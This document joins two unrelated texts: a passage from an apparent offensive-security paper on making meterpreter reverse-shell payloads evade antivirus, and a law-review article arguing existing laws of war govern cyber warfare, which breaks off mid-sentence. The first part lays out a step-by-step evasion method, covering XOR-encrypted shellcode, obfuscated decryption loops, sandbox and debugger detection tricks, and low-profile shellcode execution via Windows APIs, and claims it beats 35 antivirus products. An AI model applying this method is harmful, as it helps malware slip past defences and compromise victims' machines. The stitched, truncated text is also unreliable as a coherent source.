type, all the methods explained in this paper will also work for all kind of malware but in this paper mainly focuses on stager meterpreter payloads because meterpreter is capable of all the things that all other malware does, getting a meterpreter session on remote machine allows many things like privilege escalation, credential stealing, process migration, registry manipulation and allot more post exploitation, also meterpreter has a very active community and it’s very popular among security researchers. 3. Terminology Signature Based Detection: Traditional antivirus software relies heavily upon signatures to identify malware. Substantially, when a malware arrives in the hands of an antivirus firm, it is analysed by malware researchers or by dynamic analysis systems. Then, once it is determined to be a malware, a proper signature of the file is extracted and added to the signatures database of the antivirus software. Static Program Analyze: Static program analysis is the analysis of computer software is performed without actually executing programs. In most cases the analysis is performed on some version of the source code, and in the other cases, some form of the object code. Dynamic Program Analyze: Dynamic program analysis is the analysis of computer software that is performed by executing programs on a real or virtual processor. For dynamic program analysis to be effective, the target program must be executed with sufficient test inputs to produce interesting behavior. Sandbox: In computer security, a sandbox is a security mechanism for separating running programs. It is often used to execute untested or untrusted programs or code, possibly from unverified or untrusted third parties, suppliers, users or websites, without risking harm to the host machine or operating system. INVICTUS 4 Security Heuristic Analysis: Heuristic analysis is a method employed by many computer antivirus programs designed to detect previously unknown computer viruses, as well as new variants of viruses already in the "wild".Heuristic analysis is an expert based analysis that determines the susceptibility of a system towards particular threat/risk using various decision rules or weighing methods. MultiCriteria analysis (MCA) is one of the means of weighing. This method differs from statistical analysis, which bases itself on the available data/statistics. Entropy: In computing, entropy is the randomness collected by an operating system or application for use in cryptography or other uses that require random data. This randomness is often collected from hardware sources, either pre-existing ones such as mouse movements or specially provided randomness generators. A lack of entropy can have a negative impact on performance and security. 4. Common Techniques When it comes to reducing a malware’s detection score first things that comes in mind are crypters, packers and code obfuscation. These tools and techniques are still able to bypass good amount of AV product but because of the advancements in cyber security field most of the tools and methods in the wild is outdated and can’t produce FUD malware. For understanding the inner workings of these techniques and tools i will give brief descriptions; 4.1 Obfuscation Code obfuscation can be defined as mixing the source code of the binary without disrupting the real function, it makes static analyzing harder and also changes the hash signatures of the binary. Obfuscation can simply be implemented whit adding few lines of garbage code or programmatically changing the execution order of the instructions. This method can bypass good amount of AV product but it depends on how much you obfuscate. 4.2 Packers Executable packer is any means of compressing an executable file and combining the compressed data with decompression code into a single executable. When this compressed executable is executed, the decompression code recreates the original code from the compressed code before executing it. In most cases this happens transparently so the compressed executable can be used in exactly the same way as the original. When a AV scanner scans a packed malware it needs to determine the compression algorithm and decompress it. Because of files that packed with packers are harder to analyze malware authors have a keen interest on packers. INVICTUS 5 Security 4.3 Crypters Crypters are programs that encrypts the given binary for making it hard to analyze or reverse engineer. A crypter exists of two parts, a builder and a stub, builder simply just encrypts the given binary and places inside the stub, stub is the most important piece of the crypter, when we execute the generated binary first stub runs and decrypts the original binary to memory and then executes the binary on memory via “RunPE” method(in most cases). 5. The Problem About Crypters & Packers Before moving on to the effective methods, there are few thinks that needs to be acknowledged about what is wrong in well-known techniques and tools. Today's AV companies has already realized the danger, now instead of just searching for malware signatures and harmful behavior they also search for signs of crypters and packers. Compared to detecting malware detecting crypters and packers is relatively easy because of they all have to do certain suspicious things like decrypting the encrypted PE file and executing it on the memory. 5.1 PE Injection: In order to fully explain the in memory execution of a PE image i have to talk about how windows loads the PE files. Generally when compiling a PE file the compiler sets the main module address at 0x00400000, while compile process all the full address pointers and addresses at long jump instructions are calculated according to main module address, at the end of compiling process compiler creates a relocation table section in PE file, relocation section contains the addresses of instructions that depends on the base address of the image, such as full address pointers and long jump instruction. INVICTUS 6 Security While in execution of the PE image, operating system checks the availability of the PE image’s preferred address space, if the preferred space is not available, operating system loads the PE image to a random available address on memory, before starting the process system loader needs to adjust the absolute addresses on memory, with the help of relocation section system loader fixes the all address dependent instructions and starts the suspended process. All this mechanism is called “Address Layout Randomization”. In order to execute a PE image on memory crypters needs to parse the PE headers and relocate the absolute addresses, simply they have to mimic system loader witch is very unusual and suspicious. When we analyze crypters written in c or higher level languages in almost every cases we could see these windows API functions called “NtUnmapViewOfSection” and “ZwUnmapViewOfSection” these functions simply unmaps a view of a section from the virtual address space of a subject process, they play a very important role at in memory execution method called RunPE which almost %90 of crypters uses. Of course AV products can’t just declare malicious for every program that uses these windows API functions, but the order of using this functions matter a lot. There are small percentage of crypters (mostly written in assembly) witch does not uses these functions and performs the relocation manually, they are very effective at the time but sooner or later usage of crypters will not be profitable because of logically no non harmful program tries to mimic the system loader. Another downside is huge entropy increase on input files, because of encrypting the entire PE file, entropy will rise inevitably, when AV scanners detects unusual entropy on a PE file they will probably mark the file as suspicious. 6. Perfect Approach The concept of encrypting the malicious code is clever but the decryption function should be obfuscated properly and when it comes to executing the decrypted code in memory we have to do it without relocating the absolute addresses, also there has to be a detection mechanism checking for weather the malware is analyzing dynamically in a sand box or not, if detection mechanism detects that malware is being analyzed by the AV then the decryption function shouldn’t be executed. Instead of encrypting the entire PE file encrypting shellcodes or only the .text section of the binary is much more suitable, it keeps the entropy and size low and makes no changes to image headers and sections. INVICTUS 7 Security This will be the malware flow chart. INVICTUS 8 Security Our “AV Detect.” function will detect if the malware is being analyze dynamically in a sandbox or not, if the function detects any sign of AV scanner then it will call the main function again or just crash, if “AV Detect” function don’t finds any sign of AV scanner it will call the “Decrypt Shellcode” function This is meterpreter reverse TCP shellcode in raw format. INVICTUS 9 Security For keeping the entropy and size in appropriate value i will pass this shellcode to simple xor cipher with a multi byte key, xor is not an encryption standard like RC4 or blowfish but we don’t need a strong encryption anyway, AV products is not going to try to decrypt the shellcode, making it unreadable and undetectable for static string analysis is enough, also using xor makes decryption process much faster and avoiding the encryption libraries in code will reduce the size a lot. This is the same meterpreter code XOR ciphered with key. Because of we are writing a new piece of malware, our malware’s hash signature will not be known by the anti virus products, so we don’t need to worry about signature based detection, we will encrypt our shellcode and obfuscate our anti detection/reverse engineering and decryption functions also these will be enough for bypassing static/heuristic analysis phase, there is only one more phase we need to bypass and it is the dynamic analysis phase, most important part is the success of the “AV detect” function, before starting to write the function we need to understand how heuristic engines of AV products works. INVICTUS 10 Security 7. Heuristic Engines Heuristic engines are basically statistical and rule based analyze mechanisms. Their main purpose is detecting new generation(previously unknown) viruses by categorizing and giving threat/risk grades to code fragments according to predefined criterias, even when a simple hello world program scanned by AV products, heuristic engine decides on a threat/risk score if the score is higher then thresholds then the file gets marked as malicious. Heuristic engines are the most advanced part of AV products they use significant amount of rules and criterias, since no anti virus company releases blueprints or documentation about their heuristic engines all known selective criterias about their threat/risk grading policy are found with trial and error. Some of the known rules about threat grading; - Decryption loop detected - Reads active computer name - Reads the cryptographic machine GUID - Contacts random domain names - Reads the windows installation date - Drops executable files - Found potential IP address in binary memory - Modifies proxy settings - Installs hooks/patches the running process - Injects into explorer - Injects into remote process - Queries process information - Sets the process error mode to suppress error box - Unusual entropy - Possibly checks for the presence of antivirus engine - Monitors specific registry key for changes - Contains ability to elevate privileges - Modifies software policy settings - Reads the system/video BIOS version - Endpoint in PE header is within an uncommon section - Creates guarded memory regions - Spawns a lot of processes - Tries to sleep for a long time - Unusual sections - Reads windows product id - Contains decryption loop - Contains ability to start/interact device drivers - Contains ability to block user input When writing our AV detect and Decrypt Shellcode functions we have to be careful about all this rules. 8. Decrypt Shellcode Obfuscating the decryption mechanism is vital, most of AV heuristic engines are able to detect decryption loops inside PE files, after the huge increase on ransomware cases even some heuristic engines are build mainly just for finding decryption routines, after they detect a decryption routine, some scanners waits until ECX register to be “0” most of the time that indicates the end of loop, after INVICTUS 11 Security they reach the end of the decryption loop they will re analyze the decrypted content of the file. This will be the “Decrypt Shellcode” function It is a for loop that makes logical xor operation between a shellcode byte and a key byte, below and above assembly blocks literally does noting, they cover the logical XOR operation with random bytes and jumps over them. Because of we are not using any advanced decryption mechanism this will be enough for obfuscating “Decrypt Shellcode” function. 9. Dynamic Analysis Detection Also while writing the sandbox detection mechanism we need to obfuscate our methods, if the heuristic engine detects any sign of anti reverse engineering methods it would be very bad for malware’s threat score. INVICTUS 12 Security 9.1 Is Debugger Present: Our first AV detection mechanism will be checking for debugger in our process There is a windows API function for this operation it ”Determines whether the calling process is being debugged by a user-mode debugger.” but we will not use it because of most AV products are monitoring the win API calling statements, they probably detect and treat this function as a anti reverse engineering method. Instead of using the win API function we will go and look at the “BeingDebuged” byte at PEB block. With some inline assembly this piece of code points a pointer to the BeingDebuged byte in PEB block, if debugger present it will check again until a overflow occurs in stack, when an overflow occurs the stack canaries will trigger an exception and process will be closed, this is the shortest way to exit the program. Manually checking the BeingDebuged byte will bypass good amount of AV product but still some AV products have taken measures about this issue so we need to obfuscate the code for avoiding the static string analysis. INVICTUS 13 Security Adding exact jump instruction after all operation will not effect our purpose but adding garbage bytes between jumps will obfuscate the code and avoid static string filters. 9.2 Load Fake Library In this method we will try to load a non existing dll on runtime. Normally when we try to load a non existing dll, HISTENCE returns NULL, but some dynamic analysis mechanisms in AV products allows such cases in order to further investigate the execution flow of the program. 9.3 Get Tick Count In this method we will be exploiting the time deadline of AV products. In most cases AV scanners are being designed for end user, they need to be user friendly and suitable for daily usage this means they can’t spend too much time for scanning files they need to scan files as quickly as possible. At first malware developers used “sleep()” function for waiting until the scan complete, but nowadays this trick almost never works, every AV product skips the sleep function when they encountered one. We will use this against them , below code INVICTUS 14 Security uses a win API function called “GetThickCount()” this function “Retrieves the number of milliseconds that have elapsed since the system was started, up to 49.7 days.” we will use it to get the time passed since OS booted, then try to sleep 1 second, after sleep function we will check weather sleep function is skipped or not by comparing the two GetTickCout() value. 9.4 Number Of Cores This method will simply check the number of processor cores on the system. Since AV products can’t afford allocating too much resource from host computer we can check the core number in order to determine are we in a sandbox or not. Even some AV products does not support multi core processing so they shouldn’t be able to reserve more than 1 processor core to their sandbox environment. 9.5 Huge Memory Allocations This method also exploits the time deadline on each AV scan, we simply allocate nearly 100 Mb of memory then we will fill it with NULL bytes, at the end we will free it. When the programs memory starts to grow on runtime eventually AV scanners will end the scan for the sake of not to spend too much time on a file, this method can be used multiple times. This is a very primitive and old technique but it still bypasses good amount of scanners. INVICTUS 15 Security 9.6 Trap Flag Manipulation The trap flag is used for tracing the program. If this flag is set every instruction will raise “SINGLE_STEP” exception. Trap flag can be manipulated in order thwart tracers. We can manipulate the trap flag with below code, 9.7 Mutex Triggered WinExec This method is very promising because of its simplicity, we create a condition for checking whether a certain mutex object already exists on the system or not. If “CreateMutex” function does not return already exists error we execute the malware binary again, since most of the AV products don’t let programs which are dynamically analyzing to start new processes or access the files outside the AV sandbox, when the already exist error occurs execution of the decrypt function may start. There are much more creative ways of mutex usage in anti- detection. INVICTUS 16 Security 10. Proper Ways To Execute Shellcodes Starting with Windows Vista, Microsoft introduced Data Execution Prevention or DEP, a security feature that can help prevent damage to your computer by monitoring programs from time to time. Monitoring ensures that running program uses system memory efficiently. If there is any instance of a program on your computer using memory incorrectly, DEP notices it, closes the program and notifies you. That means you can’t just put some bytes to an char array and execute it, you need to allocate a memory region with read, write and execute flags using windows API functions. Microsoft has several memory manipulation API functions for reserving memory pages, most of the common malware in the field uses the “VirtualAlloc” function for reserving memory pages, as you can guess common usage of functions helps AV products with defining detection rules, using other memory manipulation functions will also do the trick and they may attract less attention. I will list several shellcode execution methods with different memory manipulation API function, 10.1 HeapCreate/HeapAlloc: Windows also allows creating RWE heap regions. 10.2 LoadLibrary/GetProcAddress: LoadLibrary and GetProcAddress WINAPI function combination allows us to use all other win api functions, with this usage there will be no direct call to the memory manipulation function and malware will probably be less attractive. 10.3 GetModuleHandle/GetProcAddress: This method does not even use the LoadLibrary function it takes advantage of already loaded kernel32.dll, GetModuleHandle function retrieves the module INVICTUS 17 Security handle from an already loaded dll, this method is possibly one of the most silent way to execute shellcode. 11. Multi Threading It is always harder to reverse engineer multi threaded PE files, it is also challenging for AV products, multi threading approach can be used with all execution methods above so instead of just pointing a function pointer to shellcode and executing it creating a new thread will complicate things for AV scanners plus it allow us to keep executing the “AV Detect” function while executing the shellcode at same time. Above code executes the shellcode with creating a new thread, just after creating the thread there is a infinite while loop that is executing bypass av function, this approach will almost double the effect of our bypass av function, bypass AV function will be keep checking for sandbox and dynamic analysis signs while shellcode runs, this is also vital for bypassing some advanced heuristic engines that waits until the execution of the shellcode. INVICTUS 18 Security 12. Conclusion Towards the end there are few more thinks that needs to be covered about compiling the malware, when compiling the source, safeguards like stack savers need to be on and striping the symbols is vital for hardening the reverse engineering process of our malware and reducing the size, compiling on visual studio is recommended because of the inline assembly syntax that used in this paper. When all of this methods combined, generated malware is able to bypass 35 most advanced AV product, POC Video:https://pentest.blog/art-of-anti-detection-1-introduction-to-av- detection-techniques INVICTUS 19 Security 13. References: [1] - https://en.wikipedia.org/wiki/Antivirus_software [2] - https://en.wikipedia.org/wiki/Static_program_analysis [3] - https://en.wikipedia.org/wiki/Dynamic_program_analysis [4] - https://en.wikipedia.org/wiki/Sandbox_(computer_security) [5] - https://en.wikipedia.org/wiki/Heuristic_analysis [6] - https://en.wikipedia.org/wiki/Entropy [7] - https://en.wikipedia.org/wiki/Address_space_layout_randomization [8] - https://msdn.microsoft.com/en- us/library/windows/desktop/aa366553(v=vs.85).aspx The Antivirus Hacker’s Handbook The Rootkit Arsenal: Escape and Evasion: Escape and Evasion in the Dark Corners of the System http://venom630.free.fr/pdf/Practical_Malware_Analysis.pdf http://pferrie.host22.com/papers/antidebug.pdf https://www.symantec.com/connect/articles/windows-anti-debug-reference https://www.exploit-db.com/docs/18849.pdf http://blog.sevagas.com/?Fun-combining-anti-debugging-and
pdf
A Survey and Examination of the Adequacy of the Laws Related to Cyber Warfare DONDI S. WEST* This paper argues that the current rules of war can address the emerging issues raised by cyber warfare. The author begins by giving a survey of the laws that have the biggest impact on cyber warfare. Next, the author discusses several popular issues that may have unnecessarily intensified the cyber warfare debate. The author then asserts the following five reasons why the U.S. should not enter into an international treaty for cyber warfare: (1) combatant commanders already have proper guidelines for conducting cyber warfare; (2) fields of law are seldom demarcated by technology; (3) an unintended consequence of a cyber warfare law is that it may pose an undue limitation on a primarily non-lethal strategic deterrence; (4) our adversaries are unlikely to comply; and (5) the rate of technology growth will outpace the ability for an international cyber regime to produce responsive policy, while the flexibility allotted by the UN Charter and laws of war are able to absorb technological advances. The author concludes that the current UN Charter and Laws of War should continue to govern cyber warfare and that creating an international treaty or law for cyber warfare would do more harm than good and seriously cripple our ability to conduct war. I. Introduction Immediately upon taking office, and in the midst of the worst economic downturn since the Great Depression, President Barack Obama ordered a 60-day “clean-slate” study to review the plans, programs, and activities related to cyber security (“the 60-day Study”).1 Although many people did not expect President Obama to enter the White House with cyber security as a * Dondi West is a Senior Cyber Intelligence and Policy Analyst at Booz Allen Hamilton and former U.S. Navy Information Warfare Officer. He holds a B.S. in Mathematics, a M.S. in Applied Information Technology, and a Juris Doctor degree from The University of Maryland School of Law, where he was an Editor of the Maryland Law Review. Dondi‟s scholarly interests include information operations and warfare policy, information privacy law, and cyberspace law. 1 Siobhan Gorman, Hathaway to Head Cybersecurity Post, Wall St. J., Feb. 8, 2009, available at http://online.wsj.com/article/SB123412824916961127.html (last visited July 21, 2009). main concern, an investigation of recent events shows why securing cyberspace is a major National Security priority of the Obama Administration. During the Russia-Georgia conflict in August 2008, a multi-faceted cyber attack was conducted against the Georgian infrastructure and key government websites.2 The attack modalities included defacing websites; web-based psychological operations; a fierce propaganda campaign; and distributed denial-of-service attacks.3 The public witnessed one of the most vivid accounts of Cyber Warfare, when CNN‟s Wolf Blitzer attempted to interview Georgian President Mikhail Saakashvili by phone on his live news program during conflict. CNN couldn‟t reach President Saakashvili initially.4 President Saakashvili blamed the difficulty connecting on a “cyber attack” against Georgia‟s telephone system. In addition to the situation described by President Saakashvili, attackers defaced the Georgian Ministry of Foreign Affairs‟ website with an image of Adolf Hitler next to an image of President Saakashvilli.5 Most recently, in April 2009, the Wall Street Journal (“WSJ”) reported that cyber spies penetrated the US electrical grid.6 Days later, on the front page, the WSJ reported that cyber hackers had breached the Pentagon‟s $300 billion Joint Strike Fighter project.7 On July 4, 2009, cyber attackers disabled a number of US government websites, including the Treasury Department, Secret Service, Federal Trade Commission and Transportation Department sites.8 These incidents exemplify the scope of the risks posed by cyber security, and shows why the Obama Administration now consider securing cyberspace a vital National Security priority. 2 Noah Shachtman, Georgia Under Online Assault, WIRED, Aug. 10, 2008, http://www.wired.com/dangerroom/2008/08/georgia-under-o/. 3 Id. 4 Id. 5 Id. 6 Siobhan Gorman, Electricity Grid in U.S. Penetrated By Spies, Wall St. J., Apr. 8, 2009 at A1. 7 Siobhan Gorman, Computer Spies Breach Fighter-Jet Project, Wall St. J., Apr. 21, 2009 at A1. 8Kelly Olsen, Massive Cyber Attack Knocked Out Government Web Sites Starting on July 4, THE HUFFINGTON POST, Jul. 8, 2009, http://www.huffingtonpost.com/2009/07/07/massive-cyber-attack-knoc_n_227483.html. In May of 2009, the White House released the results of its 60-day Study. The results included “near-term” and “mid-term” action plans, which together outlined 24 actions that should be taken to assist in putting the U.S. on course to secure cyberspace.9 One of the near-term action items makes a recommendation to “[c]onvene appropriate interagency mechanisms to conduct interagency-cleared legal analyses of priority cybersecurity-related issues identified during the policy-development process and formulate coherent unified policy guidance that clarifies roles, responsibilities, and the application of agency authorities for cybersecurity-related activities across the Federal government.”10 Although this action item recommends that legal analysis be conducted concerning “cybersecurity-related issues,” it is rather broad and vague. In particular, the government is not required to address the unique legal issues that arise as a result of the U.S. 9 The White House, Cyberspace Policy Review, http://www.whitehouse.gov/assets/documents/Cyberspace_Policy_Review_final.pdf (last visited July 21, 2009). In particular, the action plan included the following steps: 1. Appoint a cybersecurity policy official responsible for coordinating the Nation‟s cybersecurity policies and activities; establish a strong NSC directorate, under the direction of the cybersecurity policy official dual-hatted to the NSC and the NEC, to coordinate interagency development of cybersecurity- related strategy and policy. 2. Prepare for the President‟s approval an updated national strategy to secure the information and communications infrastructure. This strategy should include continued evaluation of CNCI activities and, where appropriate, build on its successes. 3. Designate cybersecurity as one of the President‟s key management priorities and establish performance metrics. 4. Designate a privacy and civil liberties official to the NSC cybersecurity directorate. 5. Convene appropriate interagency mechanisms to conduct interagency-cleared legal analyses of priority cybersecurity-related issues identified during the policy-development process and formulate coherent unified policy guidance that clarifies roles, responsibilities, and the application of agency authorities for cybersecurity-related activities across the Federal government. 6. Initiate a national public awareness and education campaign to promote cybersecurity. 7. Develop U.S. Government positions for an international cybersecurity policy framework and strengthen our international partnerships to create initiatives that address the full range of activities, policies, and opportunities associated with cybersecurity. 8. Prepare a cybersecurity incident response plan; initiate a dialog to enhance public-private partnerships with an eye toward streamlining, aligning, and providing resources to optimize their contribution and engagement. 9. In collaboration with other EOP entities, develop a framework for research and development strategies that focus on game-changing technologies that have the potential to enhance the security, reliability, resilience, and trustworthiness of digital infrastructure; provide the research community access to event data to facilitate developing tools, testing theories, and identifying workable solutions. 10. Build a cybersecurity-based identity management vision and strategy that addresses privacy and civil liberties interests, leveraging privacy-enhancing technologies for the Nation. Id. at vi. 10 Id. conducting and defending against cyber warfare. In fact, legal scholars are involved in an intense debate on whether there should be a new set of laws written to govern cyber warfare.11 Some legal scholars even advocate that there should be an international treaty for cyber warfare. This article first surveys the current legal frameworks governing cyber warfare.12 Next, it comments on several exaggerated hot-button issues.13 It then argues that the traditional laws of war give combatant commanders the tools they need to conduct warfare in the information age.14 Creating an international treaty for cyber warfare would do more harm than good. II. Introduction to Computer Network Operations and the Actors Involved Analysts often discuss the concepts of cyber warfare and cyber security in overly-broad terms. For example, if a cyber actor gains unauthorized access to a computer network and copies data, then a commentator may refer to this act as a “cyber attack.”15 But, if the cyber actor was merely snooping and didn‟t alter the performance or content of the network, then a cyber attack hasn‟t occurred sense military doctrine divides cyber acts into three separate domains collectively called Computer Network Operations.16 According to Joint Publication 3- 13, the full-spectrum of Computer Network Operations (“CNO”) encompasses three domains: Computer Network Attack (“CNA”), Computer Network Exploitation (“CNE”), and Computer Network Defense (“CND”). 17 Within the military domain, CNO is considered one of five core capabilities under Information Operations (“IO”).18 The other capabilities include Psychological 11 See infra Part IV. 12 See infra Part III. 13 See infra Part IV. 14 See infa Part V. 15 See e.g. supra Note 6. 16 JOINT CHIEFS OF STAFF, JOINT PUB. 3-13, INFORMATION OPERATIONS ix (February 13, 2006), available at http://tinyurl.com/d3dfsc. 17 See generally JOINT CHIEFS OF STAFF, JOINT PUB. 3-13, INFORMATION OPERATIONS ix (February 13, 2006), available at http://tinyurl.com/d3dfsc. 18 Id. Operations19 (“PSYOPS”), Military Deception20 (“MILDEC”), Operations Security21 (“OPSEC”) and Electronic Warfare22 (“EW”). Warfighters integrate these five IO capabilities to influence, disrupt, corrupt or usurp adversarial human and automated decision making while protecting our own.23 The Joint Publication goes on to define each of the three domains of CNO. CNA includes actions taken via computer networks to disrupt, deny, degrade, or destroy the information within enemy computers and computer networks.24 CND includes actions taken via computer networks to protect, monitor, analyze, detect and respond to network attacks, intrusions, disruptions or other unauthorized actions that would compromise or cripple defense information systems and networks.25 CNE includes enabling actions and intelligence collection via computer networks that exploit data gathered from target or enemy information systems or networks.26 Analyst and commentators tend to use the term “Cyber” in an overly broad manner, appending the term to virtually anything that is computer related. It is therefore necessary to understand Cyber within the context of which of the three CNO domains are being referenced. An example of CND would be deploying an intrusion detection system to protect a government network. An example of CNE would include gaining access to an adversary network‟s email server and analyzing email content for intelligence purposes.27 Michael N. Schmitt, Stockton Chair at the Naval War College, gives an excellent description of CNA by describing several CNA scenarios: 19 See generally JOINT CHIEFS OF STAFF, JOINT PUB. 3-53, JOINT DOCTRINE FOR PSYCHOLOGICAL OPERATIONS (September 5, 2003). 20 See generally JOINT CHIEFS OF STAFF, JOINT PUB. 3-13.4, MILITARY DECEPTION (July 13, 2006). 21 See generally JOINT CHIEFS OF STAFF, JOINT PUB. 3-13, INFORMATION OPERATIONS (February 13, 2006). 22 Id. 23 JOINT CHIEFS OF STAFF, JOINT PUB. 3-13, INFORMATION OPERATIONS ix (February 13, 2006), available at http://tinyurl.com/d3dfsc. 24 Id. 25 Id. 26 Id. 27 The “networking snooping” example given at the beginning of this paragraph is also an example of CNE. Hypothetical examples of CNA, some realistic, others stretching credulity, abound in literature. Consider just a few. (1) Trains are misrouted and crash after the computer systems controlling them are maliciously manipulated. (2) An information blockade is mounted to limit the flow of electronic information into or out of a target state. (3) Banking computer systems are broken into and their databases corrupted. (4) An automated municipal traffic control system is compromised, thereby causing massive traffic jams and frustrating responses by emergency fire, medical, and law enforcement vehicles. (5) Intrusion into the computer system controlling water distribution allows the intruder to rapidly open and close valves. This creates a hammer effect that eventually causes widespread pipe ruptures. (6) A logic bomb set to activate upon initiation of mass casualty operations is imbedded in a municipal emergency response computer system.28 Although CND and CNE are unavoidable issues when it comes to Cyber Warfare, this article is primarily concerned with the laws related to CNA. Thus, the term Cyber Warfare, for the purposes of this article, is being referenced in the context of conducting or responding to a CNA on government computer systems or a nation‟s critical infrastructure. Governments use the term “critical infrastructure” to describe assets that are essential for the functioning of a society and economy.29 For example, homeland security analysts consider the U.S. electrical grid to be critical infrastructure because a significant outage is capable of causing widespread damage to health, communication, economic, transportation, and other systems.30 Thus, in addition to attacks on government systems, a cyber attack on a nation‟s critical infrastructure can also be considered a CNA.31 28 Michael N. Schmitt, Computer Network Attack and the Use of Force in International Law: Thoughts on a Normative Framework, 37 COLUM. J. TRANSNAT‟L L. 885, 892-93 (1999). 29 See generally John Moteff, CRITICAL INFRASTRUCTURE AND KEY ASSETS: DEFINITION AND IDENTIFICATION 1 (Congressional Research Service Report for Congress 2004) (2004). 30 Id. 31 Id. Analyst must also make similar distinctions when considering the parties involved when a cyber act occurs. State actors, terrorist groups, criminals, or various other internet miscreants are all capable of conducting cyber attacks.32 When one considers the notion of war, a conflict involving two or more nation states immediately comes to mind. A war, however, can also consist of a nation state and a non-state actor since “customary international law has evolved to allow states to apply the law of self-defense to non-state actors.”33 Such was the case when the UN Security Council passed UNSCR 1368, in support of OPERATION ENDURING FREEDOM, a day after the September 11, 2001 attacks on the Pentagon and World Trade Center (“9/11”). This resolution explicitly recognized the United States‟ inherent right of individual or collective self-defense pursuant to Article 51 of the UN Charter against the terrorist actors who perpetrated the 9/11 attacks.34 The author, therefore, and for the purposes of this paper, is considering two conflict scenarios: a nation state against another nation state; and a nation state against a non-state actor. Both of these scenarios can be addressed under the UN Charter.35 A cyber act that is criminal in nature is outside the scope of this paper, and would be addressed under appropriate international criminal laws; as is two non-state actors involved in a cyber conflict. Thus, this paper is not concerned with international cyber crimes such as internet scams. In addition, a scenario such as a private Chinese hacking group attacking the website of a private Russian hacking group is also outside the scope of this paper. Indeed, as it relates to cyber warfare, attribution is one of the biggest challenges, and one can imagine a situation where a nation conducts cyber activities under the guise of private independent hacking groups, or even while appearing to be another nation state. Although attribution is a significant challenge, the 32 See generally JEFFREY CARR, INSIDE CYBER WARFARE 15-30 (Mike Loukides ed., O‟Reilly Media 2010) (2009). 33 Id. at 53. 34 Id. 35 Id. author considers attribution to be a separate and unique issue, independent of whether the rules of war are adequate for addressing cyber warfare. III. A Brief Overview of Cyber Warfare’s Current Legal Framework The two main questions facing military operations in cyberspace are: (1) which interstate activities in cyberspace constitute a threat or use of force under international law; and (2) when such a threat or use of force does constitute an armed attack under international law, how does that law of armed conflict apply to the lawful exercise of the inherent right of self-defense in cyberspace.36 This section is, therefore, organized according to the following two regimes: Pre- Hostilities Law and Post-Hostilities Law; both in the context of CNAs. A. Pre-Hostilities Law (Jus ad Bellum): There is a general prohibition against all uses of force, except those sanctioned by the UN Security Council or done in self-defense. Jus ad bellum (“Right to wage war”) has its foundations in the United Nations (“UN”) Charter. The UN Charter mandates a general prohibition against the use of force, stating in article 2(4) that “[a]ll members shall refrain in their international relations from the threat or use of force against the territorial integrity or political independence of any state, or any other manner inconsistent with the Purposes of the United Nations.”37 Commentators interpret Article 2(4) in two distinct ways. First, a minority of commentators interpret Article 2(4) as banning only the use of force directed at the territorial integrity or political independence of a state. Second, the majority of commentators believe that the minority‟s emphasis on territorial integrity and political independence are merely intensifiers, and that the article constitutes a general 36 THOMAS C. WINGFIELD & JAMES B. MICHAEL, AN INTRODUCTION TO LEGAL ASPECTS OF OPERATIONS IN CYBERSPACE 10 (Naval Postgraduate School) (explaining that two important legal issues related to cyber warfare are (1) when does a CNA constitute a threat or use of force, and (2) how do the laws of armed conflict govern cyber warfare) (2004); see also JEFFREY CARR, INSIDE CYBER WARFARE 31-43 (Mike Loukides ed., O‟Reilly Media 2010) (2009). 37 U.N. CHARTER art. 2, para 4. prohibition against all uses of forces, subject only to the exceptions stated in the UN Charter. The majority‟s interpretation is supported by the “or any other manner” language in Article 2(4), in that it can be argued that virtually any other use of force, not authorized by the Charter, is prohibited.38 The majority‟s interpretation is also supported by the historic context in which the Charter was drafted; the preamble specifically states that "to save succeeding generations from the scourge of war, which twice in our lifetime has brought untold sorrow to mankind" is a principal aim of the UN Charter. The majority‟s view is now considered to be a part of customary international law, which, therefore, bans the use of armed force except for two situations authorized by the UN Charter. First, Chapter VII, entitled “Action With Respect to Threats to the Peace, Breaches of the Peace, and Acts of Aggression,” gives the UN Security Council the authority to "determine the existence of any threat to the peace, breach of the peace, or act of aggression" and to take military and nonmilitary action to "restore international peace and security.” In this case, and pursuant to Article 39, the Security Council must first determine whether a threat to peace, a breach of peace or an act of aggression exists. Based upon this determination, the Security Council then has the power under Article 41 to employ measures short of force, including a wide variety of diplomatic and economic sanctions against the target State, to compel compliance with its decisions. Should those measures prove inadequate, the Security Council has the power to authorize member States to employ military force in accordance with Article 42. 38 Id. Second, Article 51 of the UN Charter provides for the right of countries to engage in military action in self-defense, including collective self-defense.39 Article 51 of the Charter provides: Nothing in the present Charter shall impair the inherent right of individual or collective self-defence if an armed attack occurs against a Member of the United Nations, until the Security Council has taken measures necessary to maintain international peace and security. Measures taken by Members in the exercise of this right of self-defense shall be immediately reported to the Security Council and shall not in any way affect the authority and responsibility of the Security Council under the present Charter to take at any time such action as it deems necessary in order to maintain or restore international peace and security. The inherent right of self-defense has been manifested in three recurring areas: (1) protection of nationals and their property located abroad; (2) protection of a nation‟s political independence; and (3) protection of a nation‟s territorial integrity. In all acts of self-defense, the UN Charter requires the act to be necessary,40 proportional,41 and timely.42 Thus, a government, pursuant to its right of self-defense, may conceivably respond to a distributed denial of service (DDoS) attack,43 with a computer attack of its own. Here, the aggrieved government would be justified 39 See INTERNATIONAL AND OPERATIONAL LAW DEPARTMENT, OPERATIONAL LAW HANDBOOK 1-3 (Marie Anderson & Emily Zukauskas eds., The Judge Advocate General‟s Legal Center & School, U.S. Army)(2008). 40 Here, one must consider the exhaustion or ineffectiveness of peaceful means of resolution, the nature of coercion applied by the aggressor State, objectives of each party, and the likelihood of effective community intervention. 41 Here, the actor must limit force in magnitude, scope, and duration to that which is reasonably necessary to counter a threat or attack. 42 A delay of a response to an attack or threat of attack attenuates the immediacy of the threat and the necessity to use force in self-defense. 43 A distributed denial of service (DDoS) attack is one in which a multitude of compromised systems attack a single target, thereby causing denial of service for users of the targeted system. The flood of incoming messages to the target system essentially forces it to shut down, thereby denying service to legitimate users. WEBOPEDIA http://www.webopedia.com/TERM/D/DDoS_attack.html. in attacking the computer systems where the DDoS originated (the “originating computers”).44 Thus, the aggrieved government would have shown that its act of self-defense was: (1) “necessary” to prevent the originating computers from attacking it again; (2) “proportional” because it essentially responded in kind with a computer attack of its own; and (3) timely because the act of self-defense was done in a reasonable time following the original attack. B. Post-Hostilities Law (Jus in Bello): When deciding if a target can be attacked, a combatant commander must consider distinction; balancing military necessity with humanity; and proportionality Once two nations are in armed conflict with each other, the law of war applies.45 The Department of Defense (DoD) mandates the law of war to apply in all operations including military operations other than war (emphasis added).46 Thus, combatant commanders must adhere to the law of war during Cyber operations.47 Commanders may only attack lawful military targets. Lawful military targets are “combatants and those objects, which, by their nature, 